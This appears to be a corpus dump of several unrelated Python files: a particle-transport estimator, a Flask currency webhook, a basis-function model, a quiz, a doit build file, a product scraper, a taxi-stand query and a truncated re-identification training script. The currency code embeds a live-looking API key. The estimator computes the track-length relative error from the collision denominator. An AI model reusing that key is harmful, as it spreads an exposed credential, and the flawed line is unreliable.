direction_normalization_constant_list.append(normalization_constant)\n\n energy_normalization_constant_list.append(direction_normalization_constant_list)\n\n self.normalization_constants.append(energy_normalization_constant_list)\n\n #initialize importance info and mesh estimator info\n self.importance_map = {}\n self.mesh_estimator_mean_numerator_data = {}\n self.mesh_estimator_mean_denominator_data = {}\n for mesh_element in range(self.number_of_mesh_elements):\n local_energy_importances = []\n local_mesh_estimator_mean_numerator_data = []\n local_mesh_estimator_mean_denominator_data = []\n for energy_element in range(self.number_of_energy_elements):\n local_direction_importances = []\n for direction_element in range(self.number_of_direction_elements):\n local_direction_importances.append(1)\n local_mesh_estimator_mean_numerator_data.append(0)\n local_mesh_estimator_mean_denominator_data.append(0)\n local_energy_importances.append(local_direction_importances)\n self.importance_map[mesh_element] = local_energy_importances\n self.mesh_estimator_mean_numerator_data[mesh_element] = local_mesh_estimator_mean_numerator_data\n self.mesh_estimator_mean_denominator_data[mesh_element] = local_mesh_estimator_mean_denominator_data\n\n # Estimator results used for final product\n self.collision_estimator_mean_numerator = 0\n self.collision_estimator_mean_denominator = 0\n self.collision_estimator_fom_vector = []\n\n self.track_length_estimator_mean_numerator = 0\n self.track_length_estimator_mean_denominator = 0\n self.track_length_estimator_fom_vector = []\n\n #Initialize some source info that's the same every time\n self.direction_bounds = []\n for direction_bound in range(self.number_of_direction_elements+1):\n self.direction_bounds.append(direction_bound)\n\n self.real_direction_values = []\n for direction_element in range(self.number_of_direction_elements):\n self.real_direction_values.append(self.direction_discretization.getTriangleArea(direction_element))\n\n self.real_energy_values = [1]*(self.number_of_energy_elements)\n\n self.min_non_zero = 1\n\n def getAdjointSourceAndImportanceWeightMesh(self,\n filled_model):\n source_bias_data = self.importance_map[self.detector_element]\n real_raw_direction_dist = Distribution.HistogramDistribution(self.direction_bounds, self.real_direction_values)\n\n real_raw_energy_dist = Distribution.HistogramDistribution(self.energy_discretization, self.real_energy_values)\n\n energy_imp_values = []\n direction_dist_imp_vector = []\n direction_dist_real_vector = []\n for energy_element in range(self.number_of_energy_elements):\n imp_energy_sum = 0\n direction_imp_values = []\n\n for direction_element in range(self.number_of_direction_elements):\n bias_element = None\n if source_bias_data[energy_element][direction_element] > 0:\n bias_element = source_bias_data[energy_element][direction_element]*self.direction_discretization.getTriangleArea(direction_element)\n else: \n bias_element = self.min_non_zero*self.direction_discretization.getTriangleArea(direction_element)\n \n direction_imp_values.append(bias_element)\n imp_energy_sum += bias_element\n \n local_raw_direction_imp_dist = Distribution.HistogramDistribution(self.direction_bounds, direction_imp_values)\n direction_dist_imp_vector.append(local_raw_direction_imp_dist)\n direction_dist_real_vector.append(real_raw_direction_dist)\n energy_imp_values.append(imp_energy_sum)\n\n direction_dist_imp_vector.append(real_raw_direction_dist)\n direction_dist_real_vector.append(real_raw_direction_dist)\n\n imp_raw_energy_dist = Distribution.HistogramDistribution(self.energy_discretization, energy_imp_values)\n imp_raw_direction_bivariate_dist = Distribution.HistogramFullyTabularBasicBivariateDistribution(self.energy_discretization, direction_dist_imp_vector)\n\n real_raw_direction_bivariate_dist = Distribution.HistogramFullyTabularBasicBivariateDistribution(self.energy_discretization, direction_dist_real_vector)\n\n source_x_raw_distribution = Distribution.UniformDistribution(15, 17, 1)\n source_y_raw_distribution = Distribution.UniformDistribution(-1, 1, 1)\n source_z_raw_distribution = Distribution.UniformDistribution(-1, 1, 1)\n\n source_x_distribution = ActiveRegion.IndependentPrimarySpatialDimensionDistribution(source_x_raw_distribution)\n source_y_distribution = ActiveRegion.IndependentSecondarySpatialDimensionDistribution(source_y_raw_distribution)\n source_z_distribution = ActiveRegion.IndependentTertiarySpatialDimensionDistribution(source_z_raw_distribution)\n source_energy_distribution = ActiveRegion.ImportanceSampledIndependentEnergyDimensionDistribution(real_raw_energy_dist, imp_raw_energy_dist)\n source_direction_distribution = ActiveRegion.ImportanceSampledEnergyDependentDirectionIndexDimensionDistribution(real_raw_direction_bivariate_dist, imp_raw_direction_bivariate_dist)\n\n particle_distribution = ActiveRegion.StandardParticleDistribution(\"Adjoint source\", Coordinate.BasicCartesianCoordinateConversionPolicy(), Coordinate.BasicCartesianCoordinateConversionPolicy())\n particle_distribution.setDimensionDistribution(source_x_distribution)\n particle_distribution.setDimensionDistribution(source_y_distribution)\n particle_distribution.setDimensionDistribution(source_z_distribution)\n particle_distribution.setDimensionDistribution(source_energy_distribution)\n particle_distribution.setDirectionIndexDimensionDistribution(source_direction_distribution, self.direction_discretization)\n particle_distribution.constructDimensionDistributionDependencyTree()\n\n source_component = ActiveRegion.StandardAdjointPhotonSourceComponent(1, 1.0, filled_model, particle_distribution)\n source = ActiveRegion.StandardParticleSource([source_component])\n\n importance_weight_mesh = Event.WeightImportanceMesh()\n importance_weight_mesh.setMesh(self.mesh)\n importance_weight_mesh.setDirectionDiscretization(Event.PQLA, self.direction_discretization.getQuadratureOrder(), True)\n importance_weight_mesh.setEnergyDiscretization(self.energy_discretization)\n\n reference_energy = (self.energy_discretization[1]-self.energy_discretization[0])/2\n reference_weight = real_raw_energy_dist.evaluatePDF(reference_energy)/imp_raw_energy_dist.evaluatePDF(reference_energy)* \\\n (real_raw_direction_bivariate_dist.evaluateSecondaryConditionalPDF(reference_energy, 0)/imp_raw_direction_bivariate_dist.evaluateSecondaryConditionalPDF(reference_energy, 0))\n reference_importance = source_bias_data[0][0]\n\n max_weight = reference_weight*reference_importance/self.min_non_zero\n\n importance_weight_dictionary = {}\n for mesh_element in range(self.number_of_mesh_elements):\n local_importance_weights = []\n for energy_element in range(self.number_of_energy_elements):\n for direction_element in range(self.number_of_direction_elements):\n if self.importance_map[mesh_element][energy_element][direction_element] > 0:\n local_importance_weights.append(reference_weight*reference_importance/self.importance_map[mesh_element][energy_element][direction_element])\n else:\n local_importance_weights.append(max_weight)\n importance_weight_dictionary[mesh_element] = local_importance_weights\n\n importance_weight_map = Event.ImportanceMap(importance_weight_dictionary)\n\n importance_weight_mesh.setWeightImportanceMap(importance_weight_map)\n importance_weight_mesh.setNonImportanceWeightTransform(True)\n\n return source, importance_weight_mesh\n\n def processForwardResults(self):\n manager = Manager.ParticleSimulationManagerFactory( self.rendezvous_file_name ).getManager()\n event_handler = manager.getEventHandler()\n\n #Add simulation time to the total simulation time for aggregate fom\n self.total_simulation_time += event_handler.getElapsedTime()\n\n #Pull out collision estimator data\n FRENSIE_collision_estimator = event_handler.getEstimator(1).getTotalProcessedData()\n FRENSIE_collision_estimator_mean = FRENSIE_collision_estimator[\"mean\"][0]\n self.collision_mean_result_list.append(FRENSIE_collision_estimator_mean)\n FRENSIE_collision_estimator_re = FRENSIE_collision_estimator[\"re\"][0]\n self.collision_re_result_list.append(FRENSIE_collision_estimator_re)\n\n collision_estimator_variance = (FRENSIE_collision_estimator_re*FRENSIE_collision_estimator_mean)**2\n if collision_estimator_variance > 0:\n self.collision_estimator_mean_numerator += FRENSIE_collision_estimator_mean/collision_estimator_variance\n self.collision_estimator_mean_denominator += 1/collision_estimator_variance\n self.collision_estimator_fom_vector.append(FRENSIE_collision_estimator[\"fom\"][0])\n\n #Pull out track length estimator data\n FRENSIE_track_length_estimator = event_handler.getEstimator(2).getTotalProcessedData()\n FRENSIE_track_length_estimator_mean = FRENSIE_track_length_estimator[\"mean\"][0]\n self.tl_mean_result_list.append(FRENSIE_track_length_estimator_mean)\n FRENSIE_track_length_estimator_re = FRENSIE_track_length_estimator[\"re\"][0]\n self.tl_re_result_list.append(FRENSIE_track_length_estimator_re)\n\n track_length_estimator_variance = (FRENSIE_track_length_estimator_re*FRENSIE_track_length_estimator_mean)**2\n if track_length_estimator_variance > 0:\n self.track_length_estimator_mean_numerator += FRENSIE_track_length_estimator_mean/track_length_estimator_variance\n self.track_length_estimator_mean_denominator += 1/track_length_estimator_variance\n self.track_length_estimator_fom_vector.append(FRENSIE_track_length_estimator[\"fom\"][0])\n\n #Pull out mesh estimator data\n mesh_estimator = manager.getEventHandler().getEstimator(3)\n\n for mesh_element in range(self.number_of_mesh_elements):\n mesh_element_mean_data = mesh_estimator.getEntityBinProcessedData(mesh_element)[\"mean\"]\n mesh_element_RE_data = mesh_estimator.getEntityBinProcessedData(mesh_element)[\"re\"]\n for local_index in range(self.number_of_energy_elements*self.number_of_direction_elements):\n local_variance = (mesh_element_mean_data[local_index]*mesh_element_RE_data[local_index])**2\n if local_variance > 0:\n self.mesh_estimator_mean_numerator_data[mesh_element][local_index] += mesh_element_mean_data[local_index]/local_variance\n self.mesh_estimator_mean_denominator_data[mesh_element][local_index] += 1/local_variance\n\n #normalize estimator data into importances\n for mesh_element in range(self.number_of_mesh_elements):\n energy_importance_data = []\n\n for energy_element in range(self.number_of_energy_elements):\n direction_importance_data = []\n\n for direction_element in range(self.number_of_direction_elements):\n local_index = direction_element + self.number_of_direction_elements*energy_element\n if self.mesh_estimator_mean_denominator_data[mesh_element][local_index] > 0:\n direction_importance_data.append((self.mesh_estimator_mean_numerator_data[mesh_element][local_index]/self.mesh_estimator_mean_denominator_data[mesh_element][local_index])/self.normalization_constants[mesh_element][energy_element][direction_element])\n else:\n direction_importance_data.append(0)\n \n energy_importance_data.append(direction_importance_data)\n\n self.importance_map[mesh_element] = energy_importance_data\n\n #find the minimum non-zero answer\n for mesh_element in self.importance_map:\n for energy_element in range(len(self.importance_map[mesh_element])):\n for direction_element in range(len(self.importance_map[mesh_element][energy_element])):\n if self.importance_map[mesh_element][energy_element][direction_element] > 0:\n if self.min_non_zero > self.importance_map[mesh_element][energy_element][direction_element]:\n self.min_non_zero = self.importance_map[mesh_element][energy_element][direction_element]\n\n def getTotalTime(self):\n return self.total_simulation_time\n\n def getCollisionEstimatorResults(self):\n mean = 0\n relative_error = 0\n if self.collision_estimator_mean_denominator > 0:\n mean = self.collision_estimator_mean_numerator/self.collision_estimator_mean_denominator\n relative_error = math.sqrt(1/self.collision_estimator_mean_denominator)/mean\n\n return mean, relative_error, self.collision_estimator_fom_vector\n\n def getCollisionEstimatorList(self):\n\n return self.collision_mean_result_list, self.collision_re_result_list\n\n def getTrackLengthEstimatorResults(self):\n mean = 0\n relative_error = 0\n if self.track_length_estimator_mean_denominator > 0:\n mean = self.track_length_estimator_mean_numerator/self.track_length_estimator_mean_denominator\n relative_error = math.sqrt(1/self.collision_estimator_mean_denominator)/mean\n\n return mean, relative_error, self.track_length_estimator_fom_vector\n\n def getTrackLengthEstimatorList(self):\n\n return self.tl_mean_result_list, self.tl_re_result_list","sub_path":"variance_reduction/weight_importances_tests/shielding_problem_1/iterative/forward_estimator.py","file_name":"forward_estimator.py","file_ext":"py","file_size_in_byte":15685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"558656275","text":"from flask import Flask,request,jsonify\nimport requests\n\napp = Flask(__name__)\n\n@app.route('/',methods=['POST'])\ndef index():\n data = request.get_json()\n source_currency = data['queryResult']['parameters']['unit-currency'][0]['currency']\n amount = data['queryResult']['parameters']['unit-currency'][0]['amount']\n target_currency = data['queryResult']['parameters']['currency-name'][0]\n\n cf = fetch_conversion_factor(source_currency, target_currency)\n final_amount = amount * cf\n\n response = {\n 'fulfillmentText': f\"{amount} {source_currency} is {final_amount} {target_currency}\"\n }\n\n return jsonify(response)\n\ndef fetch_conversion_factor(source, target):\n url = f\"https://free.currconv.com/api/v7/convert?q={source}_{target}&compact=ultra&apiKey=cf06dbe8552a321d9de6\"\n response = requests.get(url)\n response = response.json()\n return response[f\"{source}_{target}\"]\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"6377866","text":"#!python\n\"\"\"@package intprim\nThis module implements a simple linear basis model.\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.polynomial.polynomial\nimport scipy.linalg\nimport scipy.optimize\n\nDTYPE = np.float64\n\nclass GaussianBasisModel(object):\n \"\"\"The GaussianBasisModel class fits a linear Gaussian basis model to trajectories.\n \"\"\"\n def __init__(self, degree):\n \"\"\"The constructor function.\n \"\"\"\n self.degree = degree\n self.scale = 0.01\n self.centers = np.linspace(0, 1, self.degree, dtype = DTYPE)\n\n def get_basis_functions(self, x):\n \"\"\"Gets the basis functions for phase x.\n \"\"\"\n f = lambda x, c: np.exp(-(np.array([x - y for y in c], dtype = DTYPE) ** 2) / (2.0 * self.scale))\n\n return f(x, self.centers)\n\n def get_basis_function_derivatives(self, x):\n \"\"\"Gets the basis function derivatives for phase x.\n \"\"\"\n f = lambda x, c: (np.exp(-(np.array([y - x for y in c], dtype = DTYPE) ** 2) / (2.0 * self.scale)) * np.array([y - x for y in c], dtype = DTYPE)) / self.scale\n\n return f(x, self.centers)\n\n def get_block_diagonal_basis_matrix(self, x, columns):\n \"\"\"Gets the block diagonal basis matrix for phase x.\n \"\"\"\n return scipy.linalg.block_diag(*np.tile(self.get_basis_functions(x), (1, columns)).T).T\n\n def get_block_diagonal_basis_matrix_derivative(self, x, columns):\n \"\"\"Gets the block diagonal basis matrix derivative for phase x.\n \"\"\"\n # Matrix will be of dimension num_dof * len(x) x (num_dof * basis_degree) * len(x)\n return scipy.linalg.block_diag(*np.tile(self.get_basis_function_derivatives(x), (1, columns)).T).T\n\n # Closed form solution for linear least squares problem\n def fit_basis_functions_linear_closed_form(self, x, y):\n \"\"\"Calculates the weights for a given trajectory y given the phase values x.\n \"\"\"\n basis_matrix = self.get_basis_functions(x).T\n\n return np.linalg.solve(np.dot(basis_matrix.T, basis_matrix), np.dot(basis_matrix.T, y))\n\n def plot(self):\n \"\"\"Plots the unweighted linear basis model.\n \"\"\"\n test_domain = np.linspace(0, 1, 100, dtype = DTYPE)\n test_range = self.get_basis_functions(test_domain)\n\n fig = plt.figure()\n\n for basis_func in test_range:\n plt.plot(test_domain, basis_func)\n\n fig.suptitle('Basis Functions')\n\n plt.show(block = False)\n\n def plot_weighted(self, coefficients, coefficient_names):\n \"\"\"Plots the weighted linear basis model.\n \"\"\"\n test_domain = np.linspace(0, 1, 100, dtype = DTYPE)\n test_range = self.get_basis_functions(test_domain)\n\n for coefficients_dimension, name in zip(coefficients, coefficient_names):\n fig = plt.figure()\n\n for basis_func, coefficient in zip(test_range, coefficients_dimension):\n plt.plot(test_domain, basis_func * coefficient)\n\n fig.suptitle('Basis Functions For Dimension ' + name)\n\n plt.show(block = False)\n","sub_path":"intprim/basis_model.py","file_name":"basis_model.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"304000523","text":"nivelCulpa = 0\nperguntas = [ \"Telefonou para a vítima?: \",\n \"Esteve no local do crime?: \",\n \"Mora perto da vítima?: \",\n \"Devia para a vítima?: \",\n \"Já trabalhou com a vítima?: \"\n ]\n\nfor i in range(5):\n resposta = input(perguntas[i]).strip().lower()[0]\n loop = True\n while loop:\n if resposta == \"s\":\n nivelCulpa += 1\n loop = False\n elif resposta == \"n\":\n loop = False\n else:\n resposta = input(perguntas[i]).strip().lower()[0]\n\nif nivelCulpa < 2:\n print(\"Inocente\")\nelif nivelCulpa < 3:\n print(\"Suspeita\")\nelif nivelCulpa < 5:\n print(\"Cúmplice\")\nelse:\n print(\"Assassino\")\n","sub_path":"exercicio06.py","file_name":"exercicio06.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"461230926","text":"import glob\nimport subprocess\n\nfrom doitpy.pyflakes import Pyflakes\nfrom doitpy.coverage import PythonPackage, Coverage\n\n\nDOIT_CONFIG = {'default_tasks': ['pyflakes']}\n\n\ndef task_pyflakes():\n exclude = ['tests/sample/flake_fail.py', 'doc/conf.py']\n yield Pyflakes().tasks('**/*.py', exclude_paths=exclude)\n\n\ndef task_coverage():\n cov = Coverage([PythonPackage('doitpy', test_path='tests')])\n yield cov.all()\n yield cov.src()\n yield cov.by_module()\n\n\n\n\n#### docs\n\n\ndef task_spell():\n \"\"\"spell checker for doc files\"\"\"\n # spell always return successful code (0)\n # so this checks if the output is empty\n def check_no_output(doc_file):\n # -l list misspelled words\n # -p set path of personal dictionary\n cmd = 'hunspell -l -d en_US -p doc/dictionary.txt %s'\n output = subprocess.check_output(cmd % doc_file, shell=True,\n universal_newlines=True)\n if len(output) != 0:\n print(output)\n return False\n\n for doc_file in glob.glob('doc/*.rst') + ['README.rst']:\n yield {\n 'name': doc_file,\n 'actions': [(check_no_output, (doc_file,))],\n 'file_dep': ['doc/dictionary.txt', doc_file],\n 'verbosity': 2,\n }\n\n\nDOC_ROOT = 'doc/'\nDOC_BUILD_PATH = DOC_ROOT + '_build/html/'\ndef task_sphinx():\n \"\"\"generate docs\"\"\"\n action = \"sphinx-build -b html -d %s_build/doctrees %s %s\"\n return {\n 'actions': [action % (DOC_ROOT, DOC_ROOT, DOC_BUILD_PATH)],\n 'verbosity': 2,\n 'task_dep': ['spell'],\n }\n\n\n\ndef task_manifest():\n \"\"\"create manifest file for distutils \"\"\"\n\n cmd = \"git ls-tree --name-only -r HEAD > MANIFEST\"\n return {'actions': [cmd]}\n\n\ndef task_pypi():\n \"\"\"upload package to pypi\"\"\"\n return {\n 'actions': [\"python setup.py sdist upload\"],\n 'task_dep': ['manifest'],\n }\n\n\ndef task_website():\n \"\"\"deploy website (sphinx docs)\"\"\"\n action = \"python setup.py upload_docs --upload-dir %s\"\n return {'actions': [action % DOC_BUILD_PATH],\n 'task_dep': ['sphinx'],\n 'verbosity': 2,\n }\n","sub_path":"dodo.py","file_name":"dodo.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"405994709","text":"from flask import Flask,request,jsonify\nimport requests,json,re\nfrom bs4 import BeautifulSoup\nclass judeg_url:\n def is_pid(self,url):\n xx = re.findall(r'P\\d+', url, re.I)\n if len(xx)>1:\n if xx[0].upper()==xx[1].upper():\n pid=xx[0].upper()\n return pid\n elif len(xx)==1:\n pid=xx[0].upper()\n return pid\n elif len(xx) == 0:\n pid=None\n return pid\n\n def is_sku(self, url):\n aa = re.findall(r'skuId=\\d+', url, re.I)\n if len(aa) == 1:\n sduid = aa[0].split('=')[1]\n return sduid\n if len(aa) == 0:\n stuid = None\n return stuid\n\n def judeg_url(self,url):\n pid=self.is_pid(url)\n stuid=self.is_sku(url)\n if pid!=None and stuid!=None:\n api_url = \"https://www.sephora.com/api/users/profiles/current/product/%s?skipAddToRecentlyViewed=false&preferedSku=%s\"%(pid,stuid)\n elif pid!=None and stuid==None:\n api_url=\"https://www.sephora.com/api/users/profiles/current/product/%s\"%pid\n elif pid==None:\n api_url=\"wrong\"\n else:\n api_url=\"wrong\"\n return api_url\n return api_url,pid,stuid\n\n def sephora_stock_message(self,url):\n global color_message, stock_size\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36'}\n r = requests.get(url=url, headers=headers)\n r.encoding = 'utf8'\n demo = r.text # 服务器返回响应\n soup = BeautifulSoup(demo, \"html.parser\")\n stock_soup_color = soup.findAll('button', class_='css-1j1jwa4') # 色号列表\n stock_soup_size = soup.find('div', class_='css-1nfx0y4 e65zztl0') # 商品大小 css-1cvjr95\n stock_soup_size2 = soup.findAll('button', class_='css-1q3i4ga')\n\n if len(stock_soup_size2) > 1:\n if \"skuId=\" not in url:\n color_soup = soup.find('span', class_='css-ta42ek e65zztl0')\n stock_size = str(color_soup).split('\">')[1].split('\")[0].replace(\"\", \" \")\n stock_size = str(color_soup).split('\">')[1].split('')[1].split(\"\", \" \")\n else:\n color_message = \"无\"\n if stock_soup_size == None:\n stock_size = '无'\n\n if stock_soup_size != None:\n try:\n stock_size = str(stock_soup_size).split('>')[1].split(\"<\")[0]\n # if len(stock_soup_color) == 0:\n # print(\"999999999999999\")\n # color_soup = soup.find('span', class_='css-ta42ek e65zztl0')\n # print(color_soup)\n # stock_size = str(color_soup).split('\">')[1].split(\"\")[0]\n # else:\n # print(\"-------------------------\")\n # stock_size = str(stock_soup_size).split(\">\")[1].split(\"
\")[0]\n except:\n stock_size = \"暂无\"\n\n if len(stock_soup_color) > 1:\n if \"skuId=\" not in url:\n color_soup = soup.find('span', class_='css-ta42ek e65zztl0')\n color_message = str(color_soup).split('\">')[1].split(\"\", \" \")\n elif \"skuId=\" in url:\n skuid = str(re.findall('skuId=\\d+', url)[0])\n is_color_message = False\n for x in stock_soup_color:\n if skuid.split(\"skuId=\")[1] in str(x):\n color_message = str(x).split('aria-label=\"')[1].split('\"')[0]\n is_color_message = True\n if is_color_message == False:\n color_soup = soup.find('span', class_='css-ta42ek e65zztl0')\n color_message = str(color_soup).split('\">')[1].split(\"\", \" \")\n elif len(stock_soup_color) == 1:\n color_message = \"无\"\n\n if \"无\" in color_message and \"无\" in stock_size:\n try:\n size_soup = soup.find('div', class_='css-128n72s e65zztl0')\n stock_size = re.findall('SIZE.*?<', str(size_soup))[0].replace('<', '')\n return stock_size\n except:\n pass\n return \"%s (%s)\" % (color_message, stock_size)\n\n def pop_stock_message(self,api_url):\n try:\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'}\n xx = requests.get(url=api_url, headers=headers)\n aa = json.loads(xx.text)\n if aa['handle'] in api_url:\n stock_type=aa['breadcrumb']\n stock_name=aa['handle']\n return stock_type,stock_name\n except(json.decoder.JSONDecodeError):\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36'}\n r = requests.get(url=api_url, headers=headers)\n r.encoding = 'utf8'\n demo = r.text\n soup = BeautifulSoup(demo, \"html.parser\")\n stock_soup_color = soup.find('h1', class_='404__hero-content--title')\n if \"OMG\" in str(stock_soup_color):\n return None,None\n except Exception as E:\n print(E)\n\n def verification(self,url):\n if \"sephora.com\" in url:\n api_url, pid, stuid = self.judeg_url(url)\n try:\n if api_url != \"wrong\":\n get_requests = requests.get(api_url, timeout=6).text\n json_spider = json.loads(get_requests)\n try:\n pid2 = str(json_spider['productId'])\n stuid2 = str(json_spider['currentSku']['skuId'])\n if (pid == pid2 and stuid == stuid2):\n color_message = self.sephora_stock_message(url)\n stock_name = str(url).split(\"product/\")[1].split(\"-P\")[0]\n return \"商品名:%s(-中文名-),商品编号:%s,商品信息:%s\" % (stock_name, stuid2, color_message) + api_url\n elif pid == pid2 and stuid == None:\n color_message = self.sephora_stock_message(url)\n stock_name = str(url).split(\"product/\")[1].split(\"-P\")[0]\n api_url2 = \"https://www.sephora.com/api/users/profiles/current/product/%s?skipAddToRecentlyViewed=false&preferedSku=%s\" % (\n pid, stuid2)\n return \"商品名:%s(-中文名-),商品编号:%s,商品信息:%s\" % (stock_name, stuid2, color_message) + api_url2\n except(KeyError):\n erroy_message = str(json_spider['errors']['invalidInput'])\n if re.findall('There is no matching product for the product', erroy_message):\n return (\"抱歉没有这个商品哟\")\n else:\n return \"商品链接错误\"\n except:\n return \"出错啦,请稍后再试\"\n\n elif \"colourpop.com\" in url:\n apiurl=url+\"?view=json\"\n try:\n stock_type,stock_name=self.pop_stock_message(apiurl)\n if stock_type !=None:\n return \"商品名:%s(-中文名-),商品类型:%s\"%(stock_name,stock_type)+apiurl\n else:return \"抱歉没有这个商品哟\"\n except:return \"关注失败,请核对商品链接\"\n\napp = Flask(__name__)\n@app.route(\"/stockmessage\", methods=[\"POST\"])\ndef stockmessage():\n try:\n stock_url = request.form.get(\"url\")\n return judeg_url().verification(stock_url)\n except:\n return \"发生错误,请稍后再试\"\n\napp.run(host=\"0.0.0.0\", port=2333)\n# if __name__ == '__main__':\n# print(judeg_url().verification(\"https://www.sephora.com/product/lock-it-blotting-powder-P418800?skuId=1914472\"))\n\n","sub_path":"colorpop_pack/interface_pop.py","file_name":"interface_pop.py","file_ext":"py","file_size_in_byte":8958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"288002564","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport psycopg2\nfrom collections import defaultdict\n\n#conn = psycopg2.connect(\"dbname=TABD user=tiago\")\nconn = psycopg2.connect(\"dbname=taxi_services user=joao\")\ncursor_psql = conn.cursor()\n\nsql = \"select distinct name from taxi_stands\"\ncursor_psql.execute(sql)\nresults = cursor_psql.fetchall()\n\nts_name = []\nfor row in results:\n ts_name.append(row[0])\n\nsql = \"select distinct taxi_id from taxi_services\"\ncursor_psql.execute(sql)\nresults = cursor_psql.fetchall()\n\ntaxi_ids = []\nfor row in results:\n taxi_ids.append(row[0])\n\npopularity = defaultdict(int)\n\nfor id in taxi_ids:\n sql = \"select name, count(initial_point_proj) from taxi_stands, taxi_services where taxi_id = {} AND st_distance(proj_location,initial_point_proj) < 150 GROUP BY 1 ORDER BY 2 DESC LIMIT 1;\".format(id)\n cursor_psql.execute(sql)\n results = cursor_psql.fetchall()\n print(id)\n if len(results) > 0:\n popularity[results[0][0]] += 1\n \npopularity = {key:value for key,value in sorted(popularity.items(),key = lambda item: item[1],reverse=True)}\n\ntop_stands = [key for key in list(popularity.keys())[:10]]\ntop_stands_count = [value for value in list(popularity.values())[:10]]\n\nfor stand in popularity:\n print(stand + \": \" + str(popularity[stand]))\n\nfig, ax = plt.subplots()\n\nwidth = 0.4 #width of bars\nx = np.arange(10) #label locations\n\np1 = ax.bar(x,top_stands_count,width,yerr=0,color='red')\n\nax.set_ylabel('Amount of drivers who use stand the most of all stands')\nax.set_title('Most Popular Stands among drivers')\nax.set_xticks(x)\nax.set_xticklabels(top_stands)\n\n#ax.bar_label(p1,label_type='center')\n\nfig.tight_layout()\n\nplt.show()\n\ncursor_psql.close()\nconn.close()\n#print bar chart\n\n\n","sub_path":"Trabalho I/alltaxis_tspopularity_top10.py","file_name":"alltaxis_tspopularity_top10.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"471823632","text":"from __future__ import print_function,absolute_import\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn \nfrom torch.utils.data import DataLoader\nfrom torch.optim import lr_scheduler\n\nimport os\nimport sys\nimport time\nimport datetime\nimport argparse\nimport os.path as osp\n\nimport dataset_manager\nfrom dataset_loader import ImageDataset\nimport transforms as tfms \nfrom models import ResNet\nfrom loss import CrossEntropy,TripletLoss,DeepSuperVision\nfrom utils import AverageMeter,Logger,save_checkpoint\nfrom metrics import evaluate\nfrom samplers import RandomIdentitySampler\n\n#######################################################\nparser = argparse.ArgumentParser()\nparser.add_argument('--resume', type=str, default='', metavar='PATH')\nargs = parser.parse_args()\n\nworkers=4\nheight=256\nwidth=128\nsplit_id=0\nmax_epoch=60\ntrain_batch=128\ntest_batch=128\nlr = 0.0000005 #0.0003\nstepsize=20\ngamma = 0.1\nmargin=0.3\nweight_decay=5e-4\nprint_freq = 10\neval_step=20\nstart_eval=0\nstart_epoch=0\nsplit_id=0\nPATH = 'log'\n\ndataset_name = 'market1501'\n#dataset_name = 'cuhk03'\nnum_classes = 751 #751 for market 1501 #1360 for CUHK-03\n# CUHK03 specific\ncuhk03_labeled = False\nuse_metric_cuhk03 = False\ncuhk03_classic_split = False\n########################################################\nif torch.cuda.is_available():\n device = torch.device(\"cuda\")\nelse:\n device = torch.cuda(\"cpu\")\n\nsys.stdout = Logger(osp.join(PATH,'log_train.txt'))\n\nprint(\"Dataset is being initialized\")\n\n##### Market1501\n\"\"\"\ndataset = dataset_manager.init_img_dataset(\n root='data',name=dataset_name,split_id=split_id,\n)\n\"\"\"\n##### CUHK03\ndataset = dataset_manager.init_img_dataset(\n root='data',name=dataset_name,split_id=split_id,\n cuhk03_labeled=cuhk03_labeled,cuhk03_classic_split=cuhk03_classic_split,\n)\n\n\ntfms_train = tfms.Compose([\n tfms.Random2DTranslation(256,128),\n tfms.RandomHorizontalFlip(),\n tfms.ToTensor(),\n tfms.Normalize(mean=[0.485,0.456,0.406],std=[0.229,0.224,0.225]),\n])\n\ntfms_test = tfms.Compose([\n tfms.Resize((256,128)),\n tfms.ToTensor(),\n tfms.Normalize(mean=[0.485,0.456,0.406],std=[0.229,0.224,0.225]),\n])\n\npin_memory = True\n\ntrainloader = DataLoader(\n ImageDataset(dataset.train,transform=tfms_train),\n sampler = RandomIdentitySampler(dataset.train,num_instances=4),\n batch_size = train_batch,num_workers=workers,\n pin_memory=True,drop_last=True,\n)\n\nqueryloader = DataLoader(\n ImageDataset(dataset.query,transform=tfms_test),\n batch_size=test_batch,shuffle=False,num_workers=workers,\n pin_memory=pin_memory,drop_last=False,\n)\n\ngalleryloader = DataLoader(\n ImageDataset(dataset.gallery,transform=tfms_test),\n batch_size=test_batch,shuffle=False,num_workers=workers,\n pin_memory=pin_memory,drop_last=False, \n)\n\n#####################################################################\ndef train(epoch,model,optim,trainloader):\n losses = AverageMeter()\n batch_time = AverageMeter()\n data_time = AverageMeter()\n \n model.train()\n\n end = time.time()\n\n cross_entropy = CrossEntropy(num_classes = num_classes)\n triplet_loss_fn = TripletLoss(margin=margin)\n\n model.fc0.train(True)\n model.fc1.train(False) \n\n output_fc = \"fc0\"\n \n model.base.train(True)\n\n for batch,(imgs,pids,_) in enumerate(trainloader):\n imgs,pids = imgs.cuda(), pids.cuda()\n\n data_time.update(time.time()-end)\n\n clf_outputs,features = model(imgs)\n\n if 